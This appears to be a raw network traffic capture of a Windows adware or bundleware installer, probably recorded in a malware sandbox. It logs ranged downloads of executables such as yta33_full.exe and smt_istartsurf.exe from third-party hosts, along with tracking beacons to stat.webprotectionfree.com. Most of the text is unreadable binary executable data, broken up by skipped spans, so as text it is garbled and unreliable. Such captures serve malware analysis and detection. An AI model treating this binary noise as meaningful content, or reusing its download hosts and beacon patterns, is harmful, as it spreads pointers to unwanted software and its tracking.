........FF./......j2..G.o.G...!wP(.{..T...*$..l.3.,m...;-.1a..aM;X'-.(
...`-.Yw...3.X.i..*\......%Pq.OM1e......s..aM..o]`...6m..`je.$.~.....-
.l.pNx....N..z].4_rZ..\W(.. .....W'.M.... .....Zbph*.nm.~}1..^b....{..
8......#t...... :...\..A.. .1.0..TJ.-...!okP6.!...Zu....]...,}_.......
..|.z.D`. .7.C...b.sUB9..v."........%y...a4.9....9.!..k0*!,...C.......
.Y..S.c........d..g.gU..u>..>*.L.R.#...8 ..=.N....J~/bbM#yI....(
....`}G..6X..az'."..... ....M.lLKIty...&..(...M..'2..6\.........^...^U
N....,@..9.g.....|....*...i..F.Y.Eh...3.N..T...ZL..6i0...#..P{3......Y
K_.H%....0.N/g......s...f...-.1n..I7..0.m.1g... .<.ehZ.b..,3M....nk
.....J..I`......g...w.5...7...../.0./(....v.PLd|..h.F.;..j^P..C..a ...
.1.k.6'{z.|%5.C......[q....."[email protected]...)......?...`u..q
.X8.......1.....G!...M..c...u.[g..&m!.O..v%.E3...M.o..4.U.7....83.....
...e............Fdd.s...r.7^5Oq.....b)U.5...R.3z.D.'tw.Y>...9...%m.
v..~......)T.....qUX....9e..c.e...o\./l1..PWp........W..d.m...b.bq...e
...w....|Kv......h..m.}.@.)..h..f/ ...h}.q.DU.......o.RoE3.I...m...*4.
...z...UL..U0...`]....KYe...Dw..C...,...f.".....u.|..g..)....F. ..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4000000-4249999/7590800
[email protected]%......&K...;..%....!..6Z...}.&..^3u......R:.P;O...=3 ..
q...l.U....U......V.an...X5J.j./!y**......nf....7.L..3!.[.L.uJrU......
 5.... ..r..%...5t_.5~W..........d...<.<..E_.y.p...O..".~-......
Tm4..~f.X%.2}S..0L...I.R3.7.1.J\.....?..m.<... [email protected]..<...
..mV.z![E.%.:.r.)^.;.u...w...C.8...{...)...&v.jU.z.\Db..P..e....I..~.Y
..^c.OV`......=....\.Dc3...).{...o[.O...........2......:...K...[r....;
.t......u.....F.\...Eb.....\..d......g5.3].?52....."]o..UF.....:..1Nv.
....M:.......h.q.....l..-8l.....S......ca8u...lz}.~..-...`..:<s....
w.dz..6V....z./...@B.......`.....w..UA.;.........%....L...a.z.i.:..VUu
.R..\W.-.....5......R,..P.v...1..s...j.......Zn.(....c4.v...C|.n...<
;|.....B..Md{.E).../...S..rw"...H........=).u.....H..?.....Q.Y|....B.M
.....$.J.]...g.J.....z.{...a...e.9...)....LD.rA.>......*...D..@.<
;..C..C...br.n(.'.?m.Ba.......}...=....>.yMf.....m8.pi...'j..F....=
F.8.$......ci.Sq..k....z..8.....mY.%..a10b.>0.N..R..H&.#....(...)..
..m!G.../...q*".R.....S....5.....$..s.P.....(..u...<\.....p..Cq....
..O..{....A...........CR.2..'N......B..........t.c:=..N.t.KY:.&%q..:=.
:.o.1b.G./H.?._3..;N..w[T.>.b...fh.S...^Ij.g.l.!Z.....D....7.......
*....p.\.n.... .UDO..X..e|[email protected]...#i..........xO}...?:......u.
.....Q.X...y.azp...0p..#.."JD.;.". ..sG.b\....Fjh/......!(....;......J
.o4....v.......<*pr.8..TrE.>Jn....Q12..w..F...#....g...;..X.....
k{........o.'..........m....D|.mGk.R$...*.R.......c.{........:.i...)..
[email protected].......|.:m...<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4500000-4749999/7590800
..n.6.....@I|..k..4.#..]Y...-5!K.m..}V*4...u.h....h.{....C....V.....?U
..,.....uAA.....8._2....v07....vrX.....P.9..t8K#.g.V.,.)..........Q.|-
.FuSO........x.~ZV[......./....e.F..;$!2..W...INB.'.Z..&H..6......._..
xv..D....%W ....b..j....;.8[.|..I.j.n.../........Bl..(....,6B.K....J.,
=....B.#......{. ......0Y....M...[<Jp.._..2C.#....E$B[.W..F.=3.S..V
..dI...........]%.I`=..),....7.........0...Sixq..k...C~|.%.2..:.....H.
8d..*4..x2..G.......LK..,v.=D.b..x..U...a....;...m...T.Gs....1w.......
nP(I.r.J..BlT.n.*.U....yq...q.v.oQy..*W..=.g....,...^%....%"..x.......
....*.W....|9Ps..6.....d~.n...]..=......=...X>.#..hGG..v...pc...,.?
j......Do@eE"T b._A.5.6..Fr~6:!"b.R......m....p[Ux......&w,....1B..N.q
: .....GZ"E.%.K/.9..m*g.Wy.B...4q../m..u.I....[..t:......k.f....Tu..g.
I.\.q.-i....K...... ...............R.'.D.f.'....M.zn.u. \..CI[lx...e.\
...R......}0D\3..C..g/O.DQ.{B.G.0.......)....$l..9..U.au1.....m.F....&
gt;,Z-tW.D..y.Y..|....;.....C.n75.c$..yGv....&.....}'.ne......5u...{:.
....2A..n(...X.....2Q.....t.l........g>.f.}2.D#..H....r.......O....
>2... Kr....U.......*.a............}X|..!..p.C..s...k.u...pi.C.X`..
[!.m.N...N.M.C.Pli......8..n..........I...eA......,.*.m!.L.L.HGT..(.9.
..Zum..*.J...EL9.O.J.....O.c.....=....3.Sb.H...BP..._....bh ...j.....,
.:..QIF<..%..N.T.d..u.:..Y.....=....D.N.../IThm..Q....:.g.m......6.
X...s...{7K..<6,.....{...}.... U.....#...P.....0..&.v....[......1(`
...S.%d...XE..W...~..a..JM,@2..v..............v.tT.............>..e
...Y.}.oMY..........B.L.c.1..Z.Ve|U..>!7....H{..kI....:..S..p..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5000000-5249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 5000000-5249999/7590800
Z]X.z#.m........C..].|..&.#CK...j:.S..6..n\.Ob.x.2U..,..........7.8...
.i...W.F..gO...?....\.~..|5=3W$.o._.r.2..I..)...4..w.....#/.m.......=&
M...}.~2...:6.)..._./$e/B..p..o.........%...`r#Q..)....$..nm......ZS..
.>....*..^g&=....F.1.&...v&..kpld. .Hf'-.)..w..6..a....n.K....X.v..
...FyeP.?..m .h]l.!X..@[....b,.O.. .pY.%.|...I........h.(..mF..}>3.
.6hypK82[)...j~T...N..o.....o0..Vt.}_.......nh;O.4UP..."L K.x.=s.;..f.
.h.V.`.y=-O....`.m.C.!r#...5.2..'.$?...\b.3W.lr.M.[..9M:7.0)..~.x.[.M.
.d..z.t].sG.r....:..l...p........yD..B..L..........^)G.Q.y.A...n.....E
$.KHH.........HZXl.PZ...7..@....._G.3p.c....O..C.n....>....IM.`.g..
.$k...m...H.<*...........d.\.3.#.p.Nn.=..].....Vg'..C ..L.k..r.X..w
...W.....C...4.v.L..U.a.r4...... ..:...."....#6..&V.lK}.o.P|.p.. ....#
.]...b.C....p.n.........`...O.x..s....  c^..h.BF.n''r[)r.G.PX.T.._...)
....N....7.Me....g...NJ.B.Nc....*.. ....D...o..._AW/.u.9.z5.j3.4..x..#
.3....G......ix...cZ..2..vI.c..;v.._......f...L..ZG.T........0....M..6
S..y'e=.J.......-..Ut..OH....z.Bn!...f..s..d...&Z.2..4...K.P...N.4....
....n.1L.mGB..s.Z......T..O......v..n~.....'. .x3......X....E. ..,a{.P
.....S.>...":....../.{..gs.......1:. .S..M.L.n......>....|..K...
}.3....xx.......|..xM..].r.v.....Jo.z..."=.O........`..O.%.......n...i
..u....=....Dq`Y.b[....J.......b.........$.t............C.0#.......]..
....f...z.........,{b.....#.jn.Z.~.......1..N.y..j.`.6.X6.u...K ...:..
..!.\..S.....H..i>].V...y.............t`W....v.(...._^k...]...n.NZ 
..1I..JkY.cf.>5H...Fj...:v.p#E0...........l..[8....n.....v....]<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 5500000-5749999/7590800
.%G...c..C....Q.........h.)...`........z..fr..]g...1.F....8 .7.....I.J
.B.0...[.......;0...\{`..1=....x;l.C|.eo...}A.7..*.w... .g.=.6....Sb..
t..;..h.4/~.4]....\A..#j.3..~.....C8)..oA$.D....L.9.......?F..O.1...Z.
.O.b.70w.e.}1...R.T..3...r..a..iv.H<..P.6l ..Y...}u.km.Q.FZ...7..[!
..].'.#0z.....Q.O.t..%.Q.xwWn.....|: ;....7mO....On. y.............L1Q
uY.p.N...=.Jtn.5d.P.iU.../{...9.>................9..@..&.K5MY.9,...
...}Z...`.[.lx!.....z >.....f.>.'}[email protected]..)'.....
g|..elT|O....n..o..w...{....)........1....-WX.....XY...P...[:.{s{"b...
..t...:.......:.;..1<.._.S.7...6....!&q-..<\.G7..,..H._...V...2.
............`...wM....ZF.<.g#[email protected].].I(...../..f...!B{?[._.Z..c
..g....\..9e.r...fz.S....N..d..v.I...t].....Cr..[....e...S......!....M
...>.e.d....W4..!.w.....@.....:n..{.b.8...l.2..<.K...}.-..ymW.Ss
fl.eBrQ....K....>.....'..E.n1........^.O.3.............C.H....S..Z.
...tTL.v....Z..D....!..M.8f.'q..a.5Guj........L.OM.\....G}.MvS...]..x.
I.[..sz.l..-.G0.U..a....b..L.-...;.&.l.S.A )....1. ..n...Mi...6...6w^.
...):.@#[email protected].!..?..x..?o.....%.P..............b<..7...
......0~i..i4u...9.#l....\.\..9.wCB.......u...G..........,..Q..k3~Zt.K
p?.~JW\./P..QUo`....e...s... R)t..[..f&.%..v.......Qq..|NIT......g..AE
....R..Z[h.O......jW^..>.%......L.g..........n...H.....RD....Q.v.L.
.e2".a.....?eX.._.q..;{\..M...<,..1I5?....05.:.;...f....R...Y(....r
.2U..Adu....F. ^[email protected]>......9...i........v...x
x.0.F.z h2 .Z.r..b.L.VoJ...t!cJ.a....4iV...=.Y..N].dZne.o '9l..:..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 6000000-6249999/7590800
..!.....<..(..).n........Nvh][.....f.M.}...*./Z..A?.........po..M..
.&9=..Iq..N.tr...%e.|.E..U.....g...I.><..@......[....&...) .S...
.....<.d.0.@..~L..N...6.b. le.p....8...a2.........rvM..O...?.....#A
.<S.1_.._..Ww../......F...m3 I..Aa.z...d....).i.2...e.....-J.?..b..
.(..........H-..6.._....1.c.>...R....gv.........e..=......Xj.U.CZ;.
.[.u.. ..3SS1DN9._x.uz.4..C87.....r..F[.;Wy.p...f................kr..(
....Z..$..B.....vm[1.x..I.dWX.r....`...........-5.^.82.m.>(bpYd1.ID
...0......s..l. ^^^R.8....p....;.=.4F..}.&....`...g.io.=....`..Fp...M.
...;..v:E-.#.....g......w.7`4...NCYH....M..|.du].Js...&U(..\./.F..Ic..
..".c.xN...B..o.KK..e....{..G..n...i@(..t6v...`V.;=.-W.1p...O.z.......
*.:.....#o%.;D~...`.......9q.....Y}&."...X.t.aZYL.W..!f..}R.5d=.\M`..7
.K...mQ../...Q.$.\/..?.B.....Fj.... ....(.[2.k.{......t.....S...u..W.O
....yk;......gf.w..|...e>..........ucC9....#......*.'....5.....EFbY
.5..9.B:s<.......3.68.~M......V....4.j<...........A..O./|...._..
.*.). ..Z....O...6....9.....<.d{....._953.....J..E....>.F E.f.b.
<.:<$..n..,!.."....L.......,..^O..z.,fF.%?...h.]MP..:.k5..A...\.
.=e.L0..zb.... j.F.]@M..W`B1[p...B~<._....hW...6b...\...W.4?.|j\h_.
~.R..@...:........C<.5...*..<*A/V&.|...'.$./..mD.p..]p..P...R.X#
.vYbk.\..l>...*..i.....t..1..<.h.............._. .L.^...n...T...
........~5..uD.Z...q....~..}.\#....Ql...'.8.K4..}..N....A..yX...2P....
or<.... .._,...[.p........\..r...Z:..W..i.....G....C....{....p..].5
9...x...J.....a.u... ......T.:.!.....!.....Z<...4....|.. gz....<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 6500000-6749999/7590800
.....M...7-=b``..F_..XX..G..9.RN...y.5.{..t.h..SU.W..<.".._.......Z
.].F.}..8...`zW.......&~.Q.&'.=]V....iq..xBjx......{..W....d...\.;....
.E....e.9$... ....T.e...Z,..Q9......]RV6Y1..=`.3..n......H......(...qr
...8..*......<.S.|g..]...(B..n..JO]v.q.l9.R!...{;.......1.~2.K..c..
....6A/."..voE...{.&...g..b....Du......_p6d..i..7..."0~...N......V..LQ
....Z.K..>...X.....3,[email protected].,...-
y..yt"...-....t..da.}....|....o`Y&{.?._.'..y.\..dt;n....c...qJZ6.S....
....".....R.J6.T......ME.o.NFX.....c..........j.?P.*X.....E..im.r#....
....1 ..c....a@. ..Up...$.:.......28.r.o.........8..'....|.......^....
]......./.A...r"..h.....#;...G.u..o...l...w.A.......P.^t.I....7.....2)
8.f..L6..}.OH.L.M&j.[.(3.'.K....%..x=.GE.;.<[email protected]^..
....T..-.......3..Z....l..w......[.....e..,......s4.....Q...i.u)....._
...... <..Y.B.Q......s....:.....K.{wv...Vk.C.qXc..8....b..]...[...Z
nJC .q.[.......@....>>..k./T...9K..eX....5\b..<b...K......N..
...R......S.F....6..h.etQ.[....f...1..8N.cM..4...........6..0.v.......
..Q....vnJ....2...(vh..o].'..h..db...|.`G.>....Z.......1."u.....*..
w;.C.L.^3.h.....m..V}.L.4.q.w.......4Z{%(-..O@&j......8`......C.J..hv.
.....|.F-......*'x.`.]!y..(...I.iv.Vv.I.v.....4.)[...<.J....aI_N...
~0)R....1l{.... .>.k..hEG-?..qO..K.X....f)....h......0q.?]..9.B.U..
......K...n..3.q...Q..Q...x9...L..v.< ..3..Nh3...R*.%T3.."...-..GrM
U..6.?..B.Nw{lo...f'.(Rh)k........w)^.)..dt..=.Q.T.[.l.2.E.....h..Z...
'.....].K;|k....8v.'...l..D.\fu....{~O..W..$|...x......JW=q.l.B/.'<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=7000000-7249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:20 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 7000000-7249999/7590800
X....G..8M.'DW..FQN.Q...L.t....R.........*......../..,W...y..F.o1!G._.
....`..[..\......{yX......2W[.....zHr...g.N.*.....[._..M..{P...ZD..xT&
_;......s..or7.....MF&~M....6>...rx6.ojN:.*u{9...n..xc./.!...8.....
d....W....~...V....".........!P..r...XD.! .5....u&..v....m...mO..].\.`
5....D..-.C.n.Mw...3...w..>e..f.K.E.....?.hV......m...w..q.......^F
[email protected]..}~..{\[email protected]...[..Us#...
..nmY..u.w......Y^W....sdtN. ....&.v..Y..XU.H..U>.....y.)?.g......w
w......t...... .i......C../[email protected]..*.gfD..fa.Ej..,...2oGwy*[email protected]
7........h.S.J}.ct..;....@&P...5xS@(9O6;[email protected]
..&X.......X.:.g...d..cG ..pz[Q..N.f\[email protected]
......)....D..>r.9.)if..._.%J.....ot...CP.....=_,..R*.....csn.?l...
.V..w...A.."....)...m..cS...d1..r..Y.....T..tM.K...H.[.......,.7zV....
....t.;.&.>.....>....P...u....=_ .A.yZ.F-...Y".im0,..].J0.*.dgP.
:JZ....f.. y..../..^.......1`...l..]e.Ea.I.........^.......i.f..v.l.K.
&RT..#.?.k.....-.Z....c.&.s..<..1w.;..'>...~.......c...m$.....\s
...>.....).O.l.Z&T..=q........i.}.BA..IP..W>z..D....k?S....<9
t.2.....G{.4....*..Ud........8.W....M.(y.W.V..`..v\.d.K?z..^.D........
........&*`.^.....l*.J..z2>j...B.....l.6.....-...Y..u......,F...\.*
.I...h7.cA..:lr..V..i.....O.2.C...E..........~*f..Z.i.^g.w^Yn[....r..g
/.w...J..NXxM.p..rg*..... .H.Z_Pf8|....hfZ&H......)|...".V.\...{.'.:`.
..vR ...h.3....xE.w..^.x~...m@:...:......&R....S<....F........r....
.....BF.F...TG.g..5.*...LK...o..3G.I..s....W?..|......MIy.`.q.....<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=7500000-7590799

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:20 GMT

Content-Type: application/octet-stream

Content-Length: 90800

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 7500000-7590799/7590800
~...8O.'..!...t..xO.5//o...v....oK.Q.$.Dg......(G2t..`0(.BQ|..U.......
.....x..in...H.sKv..M..a.s...b.?.3...C..d...v..0.tdo.I..{...~.z;..v...
>.9j.#.....W.t_|$......Na8..7.i..o.....-|...;.MPg.i.).A....=..X.".C
......K...Vk.u...M.a.v.6q.q.*..x<j.j.~?....A.3.h...Rb.s..[..E......
.....'Q.8"...P.KC.#.j....{<......)P...:Ka[VVc'.ao.......U...E....QM
(......At-........{|.H..FI..X.....,..8..cj....S.!/.0S.B..d...A.....C..
p8...|a..j.?...eZ..L...S.i... .N...v..Lb..**\U....Z.....|.`8...^t.^-J"
..:...:....#.G...{...}L.K..&.=j...%.e.Lq=$.Q..~M..CA.vy8.............i
EGkVccN....NZg\1n.}k.x.E......h..hM.Q.P..D....r.D.A....a.>\Y,[s.[2.
.8/.-.T.c..v|..E.F......f.]...X....%....G.....|8.#>.$...<..'....
.....%  ....x....G..Q..u.F.<vl..].(5v....-).(.Qzn.rT..*.<.....#.
......I.....l.j.j..K9.ThZr.....`dm..'1F*.b$R.G5......G.|....L0....D"./
..=.?~..;..."j6.ub.e....8.Tx...V......x...<..........$..m..5..H%1".
1H.8..;.......ef..8Y..........i.'..7y......u....).c{IQ.............l.z
p(F.I..q.lq:%.....K.....Ob.......Kk.^....<..K.vu..Y;...QM1:.......M
.1;.....4..t...~Y...Qf..t.-. N/.^..s,.8r..k..i.h.D...=I."R-.>......
.......w..p..aWgR.-...5y.3..xF....]2f........)<4-. .$2..L.E.......B
2^.8-......UY.55..[7.j}q...#k....N..v.).b2J....}psF....bvw~.!...../& X
.-.S...I.2 .......Qw-.u......0.....I.X.4...eQO..........v...i....#<
..?...j...P][email protected]~q.mw`O.lQ...).1*.P.(:}P}-..."....C
.e~7.)..N.j..6..3S.s,.j...S<...mw.]..._|..5S.....BD.%....8i....Q._.
...3.4?.S.9......@N...*..YMMz..M..G.Zul.-o.=c...l..E..z...K.....;&<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=503496-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:11 GMT

Content-Type: application/octet-stream

Content-Length: 167832

Last-Modified: Tue, 21 Apr 2015 02:13:21 GMT

Connection: keep-alive

Expires: Sat, 25 Apr 2015 08:20:11 GMT

Cache-Control: max-age=259200

Content-Range: bytes 503496-671327/671328

PARAMETER...TEARDOWN....PAUSE...PLAY....SETUP...ANNOUNCE....Refusing t
o issue an RTSP request [%s] without a session ID.....DESCRIBE....OPTI
ONS.Got invalid RTSP request: RTSPREQ_NONE..Failed writing RTP data.Ca
nnot pause RTP....Cannot write a 0 size RTP packet....Got RTSP Session
 ID Line [%s], but wanted ID [%s]...Got a blank Session ID..Unable to 
read the CSeq header: [%s]....: %ld...Got an error writing an RTP pack
[email protected].._E..0E. `E. `E.........@0E.......
......D...t.G.N............HE..$E.."E.p.G...F...F...F.................
....................................EHLO %s.HELO %s.STARTTLS....AUTH %
s.AUTH %s %s..No known authentication mechanisms supported!...HELP....
%s %s...VRFY....MAIL FROM:%s SIZE=%s....MAIL FROM:%s AUTH=%s SIZE=%s..
..MAIL FROM:%s AUTH=%s....MAIL FROM:%s....%I64d...<%s>....<&g
t;..RCPT TO:<%s>....RCPT TO:%s..QUIT....Got unexpected smtp-serv
er response: %d.STARTTLS denied. %c.STARTTLS not supported..Remote acc
ess denied: %d....Authentication cancelled....Command failed: %d..MAIL
 failed: %d.DATA....RCPT failed: %d.DATA failed: %d.........SMTPS not 
supported!....AUTH=...localhost...........Failed to alloc scratch buff
er!.SMB.....`.G.0FE..... [email protected].......
..............NT LM 0.12..curl....i386-pc-win32...?????...\\..pop.POP3
..........G..PE..VE..NE.....0VE.._E. PE. `E. `E..........OE.....n....@
..D.....G. ... ........HE..$E. \E...G...F...F...F.....................
....................n...........CAPA....STLS....USER %s.APOP %s %s

<<< skipped >>>

GET /pin.gif?e=start&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&adv=&v=4.3.0.42 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: stat.webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:07 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:21:07 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....

GET /pin.gif?e=installer&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&adv=&v=4.3.0.42 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: stat.webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:12 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:21:12 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=100036-

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 100036

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 100036-200071/200072

Age: 1032

X-Cache: Hit from cloudfront

Via: 1.1 9391ad8b6b37ce57524439873a355ed0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: h17GM1yjxrayuTXDTP-TKIq9xPq9wuXi7mjbM0B8wb2yZcI_CnblcA==
..c.,Q....O;...sr........I.......[...M.^..Q...(...J.."....i.(<0.i..
.............H.Q...u..P..)..V7.m.).O.j..zT....%....21.....^-...x.O....
W..d.U..~...\O.a....DI.ac..y..1..........*.Z......S.....ig...D..nW.o..
.....q(..ebJ.QO.%..Y..a.b...a...,..j...L.F..xx..O:..Q..lo?.....IP.....
..If....&....bP=.p....$_...=..W...*...v/(Ps{....8.A.......VrXX....*...
T.U7..g...l....M.....G.a......J...6O..tW...*S._EL.<..ga..Kd{.."....
....................4Q.%.mLM.&.... .(5R.d\.r...M.A..&|.....".%D....K:.
..p.d.%%..2;...Tw.;.G\..:.z.M./.x~>_M.^o.m...4...AJ.....~z......K0.
...$9..#......v..!.k/.p.?.@a,..P.i.6.s..!?...c......~A#).....W5.%..Y..
$h..m....4.s..D..G%.5...6-..G.t$..T,..}(......p..c...{..E.......u.b ..
.K.2..)....~Qdf.X.1.!....: .'7.:.$..5.s<.b1..MP...o...W........T..A
0.{...........A.9qk7?t.'........B.) U....7.. k...S...O(..K..g.(.n..-`^
.P.....c;.y ..qj.....w.c.GH.4....^...rcf..v..h..c..E...Z..|...X...0.7.
.Vit..W......C..Y..e.=......X4....o....Lc%...-}lp.`..K.?.s........vE]_
~He.$.O.V..F.#..[...bVyU...?...B...,....pTK..>..c.....!..-.....Qi.)
V....1MXZ..<'..l.]..:.....m&H.~...g...(']....?Z...9m...l......h....
......3.q..]l1..kj..Y.w.;.$&..|.U. J`.....,...@l*.76.)..X....juE.[7..2
